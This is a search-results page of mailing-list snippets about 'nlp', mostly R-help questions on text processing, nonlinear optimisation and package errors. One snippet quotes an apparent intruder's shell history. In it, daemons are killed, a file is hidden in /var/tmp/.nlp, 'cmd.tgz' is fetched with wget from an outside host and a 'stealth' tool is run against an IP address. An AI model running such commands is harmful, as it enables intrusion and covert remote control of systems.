search for: nlp

Estimados compañeros: Estoy interesado en el NLP, así que, al hallar el post State-of-the-art NLP models from R <https://blogs.rstudio.com/ai/posts/2020-07-30-state-of-the-art-nlp-models-from-r/>, gracias a Carlos Ortega, me puse con ilusión a leerlo. Sin embargo, tengo problemas con lo más básico, la instalación del paquete *transformers*....

Hello R folks, I'm hoping the answer to the question in the subject line. I have in the past used SAS PROC NLIN and PROC NLP to carry out nonlinear optimizations. I'm wondering if there is analogous ways for doing this using R. If so, could someone please point me to some literature that would help me examine this further? Thanks very much. [[alternative HTML version deleted]]

...b 2010 11:09:35 -0500 > From: "Powers, Randall - BLS" <Powers.Randall at bls.gov> > To: <r-help at r-project.org> > Subject: [R] Does the R "statistical language includes > modules/packages to carry out nonlinear optimization similar to the > SAS NLIN and NLP procedures? > Message-ID: > <C3C1925D945BF844911C8EEA752666AE20A788E5 at psbexmb2.psb.bls.gov> > Content-Type: text/plain > > Hello R folks, > > I'm hoping the answer to the question in the subject line. > > I have in the past used SAS PROC NLIN and PROC NLP...

Dear All, Does anyone use S or R for statistical natural language processing (NLP)? All I have found so far is a package called EMU (http://www.shlrc.mq.edu.au/emu/emu-splus.shtml) which is a speech wave-form processing package. What I'm looking for are routines to support text processing, text categorization, word sense disambiguation, text understanding etc. In part...

...t; 170 socklsit > 171 sockslist > 172 w > 173 killall -9 in.identd > 174 killall -9 smbd > 175 killall -9 nmbd > 176 smbd -D > 177 nmbd -D > 178 5 locate in.identd > 179 locate in.identd > 180 cd /var/tmp > 181 ls > 182 cd .nlp > 183 wget geocities.com/st3lly/cmd.tg > 184 wget http://geocities.com/st3lly/cmd.tg > 185 wget http://geocities.com/st3lly/cmd.tgz > 186 tar zxvf cmd.tgz > 187 cd cmd > 188 ls > 189 ./stealth 0 193.95.215.54 6666 6668 > 190 ./stealth 193.95.215.54 6...

I'll appreciate the help on the following problem: I solved many Nonlinear programming problems with nonlinear constraints....Rdonlp is working well but i am unable to get INTEGER data with nonlinear constraints in Rdonlp. Is it possible to get Integer Values of parameters in any package of R with nonlinear constraints. Rahul [[alternative HTML version deleted]]

...erías. > > Gracias, > Carlos Ortega > www.qualityexcellence.es > > El dom., 2 ago. 2020 a las 19:27, Diego Martín (<ako.sistemas en gmail.com>) > escribió: > > > Estimados compañeros: > > > > Estoy interesado en el NLP, así que, > > al hallar el post State-of-the-art NLP models from R > > < > > > https://blogs.rstudio.com/ai/posts/2020-07-30-state-of-the-art-nlp-models-from-r/ > > >, > > gracias a Carlos Ortega, me puse con ilusión a leerlo. Sin embargo, tengo > > prob...

...out is that we need start to think about using natural language processing when placing infrastructure for Xapian. So far we have the following OP_AND, OP_AND_MAYBE, OP_AND_NOT, OP_ELITE_SET, OP_FILTER, OP_NEAR, OP_OR, OP_PHRASE, OP_VALUE_RANGE, OP_XOR search operators and we could add one more OP_NLP. What we can do now is to implement OP_NLP to tagged nouns, adjectives, adverbs, punctuations, foreign words etc. Calculate relation between them and assign boost value to the most occurred terms in query for example noun. Search query example: What is Kevin Duraj doing? OP_NLP would analyze se...

Hi useRs, This is not so much a help request as it is a request for feedback about the possibilities of using Natural Language Processing (NLP) techniques on the r-help archives for a more 'effective' retrieval of answers. A few points that may capture what I'm trying to get at: 1) R has an emerging set of packages for NLP and text mining. Is it possible to provide the r-help archives (for a certain period of course) as a tex...

...e.es >>> >>> El dom., 2 ago. 2020 a las 19:27, Diego Martín (<ako.sistemas en gmail.com >>> >) >>> escribió: >>> >>> > Estimados compañeros: >>> > >>> > Estoy interesado en el NLP, así >>> que, >>> > al hallar el post State-of-the-art NLP models from R >>> > < >>> > >>> https://blogs.rstudio.com/ai/posts/2020-07-30-state-of-the-art-nlp-models-from-r/ >>> > >, >>> > gracias a Carlos Ortega, me...

Hi Iam a newbie to NLP and I would like to get some directions on how to convert speech file to text Google search leads me to using GoogleLanguageR Package and API's but these need payments to be made for Google. Can someone suggest ways in which I can do the speech to text conversion in R studio ? Thanks for you...

...tion is "Fit linear and generalized linear mixed-effects models." Various people, including Douglas Bates in 2011 (http://lme4.r-forge.r-project.org/slides/2011-01-11-Madison/5GLMM.pdf) who is an author of both nlme and lme4, seem to use it. Some 2007 slides by Chris Manning: http://nlp.stanford.edu/~manning/courses/ling289/GLMM.pdf also use lme4. However, http://cran.cnr.berkeley.edu/web/views/SocialSciences.html says "the lme4 package, which largely supersedes nlme for *linear* mixed models", suggesting nlme is the most appropriate choice. Finally, there's gee...

Is there a text mining/ NLP package in R that could do text summarization? For example, take a huge text as input and provide a summary of the text. In package tm, summarization is defined more as high frequency terms which is not what I want. I actually want a summary of what is present in the huge volume of text. Any hel...

...n this: http://trac.xapian.org/wiki/GSoCProjectIdeas#Project:LearningtoRank and this: http://trac.xapian.org/wiki/GSoCProjectIdeas#Project:WeightingSchemes. I can program fairly well in Python, Java, C++ and Scheme. I have taken courses in Machine Learning and Data Mining. My major project was in NLP so I have fair knowledge of that field too. What project should I choose and how should I get started? Thank you, Rohit Shinde. -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://lists.xapian.org/pipermail/xapian-devel/attachments/20150627/1d8ba634/attachm...

Hi, I am just starting up on SPEEX AEC algorithm and have couple of questions around echo cancelation algorithm used in SPEEX. 1) Usually Echo Cancelation Algorithm has support for number of components ? - Non-Linear Processor (NLP) - Automatic Microphone Gain Control (AGC) - Transducer Equalization (EQ) - Dynamic Range Compression (DRC) - Ambient Noise Reduction (ANR) - Bi-directional Comfort Noise Generator (CNG) - Double-talk/Coherence/Howling detection My question is whether th...

...,y,offset,jd,vp,ne,nx,nlam,flmin,ulam,thresh,isd,maxit,kopt, lmu=integer(1), a0=double(nlam*nc), ca=double(nx*nlam*nc), ia=integer(nx), nin=integer(nlam), nulldev=double(1), dev=double(nlam), alm=double(nlam), nlp=integer(1), jerr=integer(1),PACKAGE="glmnet" ) Thanks for your help. Regards, Axel. [[alternative HTML version deleted]]

I have setup a asterisk with freepbx, a TE122 and i have an ISDN. My problem now is that callers are experiencing echo. checked on dmesg i saw this: # dmesg -c dahdi: Disabled echo canceller NLP because of CED rx detected on channel 2 i searched google but found no soolution and i have no idea what that error means. below are other details that might be of value. # dahdi_hardware pci:0000:04:00.0 wcte12xp+ d161:8001 Wildcard TE122 # dahdi_scan [1] active=yes alarms=OK descriptio...

...o implement it in Xapian (with some frequently used normalizations) as it will also give me a good hang of implementing a weighting scheme before I start working on implementing DFR schemes. I read the following as references and I think Ive understood it well and can write the hack :- 1.) http://nlp.stanford.edu/IR-book/html/htmledition/document-and-query-weighting-schemes-1.html 2.) http://classes.seattleu.edu/computer_science/csse470/Madani/ABCs.html 3.) http://en.wikipedia.org/wiki/Tf%E2%80%93idf The basic philosophy is that rare terms (terms which occur in a few documents) should be able...

...lpha, nobs, nvars, nc, as.double(x), y, offset, jd, vp, ne, nx, nlam, flmin, ulam, thresh, isd, maxit, kopt, lmu = integer(1), a0 = double(nlam * nc), ca = double(nx * nlam * nc), ia = integer(nx), nin = integer(nlam), nulldev = double(1), dev = double(nlam), alm = double(nlam), nlp = integer(1), jerr = integer(1), PACKAGE = "glmnet") 2: lognet(x, is.sparse, ix, jx, y, weights, offset, type, alpha, nobs, nvars, jd, vp, ne, nx, nlam, flmin, ulam, thresh, isd, vnames, maxit, HessianExact, family) 3: glmnet(x[!which, ], y_sub, lambda = lambda, offset = off...

...having an open mind is that people keep coming along and sticking things into it." -- Opus (aka Berkeley Breathed in his "Bloom County" comic strip ) On Wed, Oct 7, 2020 at 9:31 AM Gayathri Nagarajan < gayathri.nagarajan at gmail.com> wrote: > Hi > > Iam a newbie to NLP and I would like to get some directions on how to > convert speech file to text > > Google search leads me to using GoogleLanguageR Package and API's but these > need payments to be made for Google. > > Can someone suggest ways in which I can do the speech to text conversion i...